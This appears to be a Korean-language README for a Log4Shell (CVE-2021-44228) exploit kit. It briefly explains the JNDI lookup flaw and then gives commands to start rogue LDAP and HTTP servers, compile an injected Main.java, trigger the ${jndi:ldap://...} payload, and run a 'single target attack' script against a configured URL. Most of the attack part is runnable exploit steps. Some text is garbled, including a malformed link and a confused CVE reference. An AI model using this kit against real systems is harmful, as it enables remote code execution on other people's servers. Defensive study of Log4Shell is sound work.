
CVE-2021-44228
이 기본적인 취약점은 [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149)에 의해 보고되었으며, [이 글 (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)에서 패치되었습니다.
그러나 log4j2라는 Java 로깅 라이브러리는 [JNDILookup](https://github.com/rodfer0x80/log4j2-prosecutor/blob/HEAD/CVE-2021-44228%5D(https:/github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java)을 가지고 있어 LDAP 같은 프로토콜에 접근을 허용했고, 이는 구버전 Java에서 코드 인젝션을 가능하게 했습니다.
패치된 Java 버전은 코드 인젝션을 막을 수 있지만, `JNDILookup`은 LDAP 서버에 요청을 보내므로 IP 누출로 이어질 수 있습니다.
해결 방법은 **Java**와 **log4j2** 버전을 업데이트하는 것입니다.
cd http-server && npm install && cd ../ldap-server && npm install
http-server와 ldap-server를 모두 실행cd http-server && node index.js &
cd ldap-server && node index.js
# 이는 Main.java를 생성합니다 - 코드 인젝션에 필요합니다.
# OSx
./java-single-compile <Main.java>
# Linux
javac <Main.java>
# 내부 테스트를 위해 저장소의 log4j-client를 계속 사용할 수 있습니다.
cd log4j-client &&\
gradle jar &&\
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# 또는 다른 애플리케이션을 실행하십시오. 코드 인젝션을 위해 com.sun.jndi.ldap.object.trustURLCodebase=true가 필요하며, 그렇지 않으면 LDAP 서버에만 요청을 보냅니다.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
${jndi:ldap://127.0.0.1:3001/}
NODEP=`pgrep node`
for id in $NODEP; do
kill $id
done
# 단일 대상 공격
# url과 params로 exploit-configs.txt를 편집하십시오.
cd scripts/single-pwn && python3 __main__.py
라이선스는 LICENSE 파일을 참조하세요.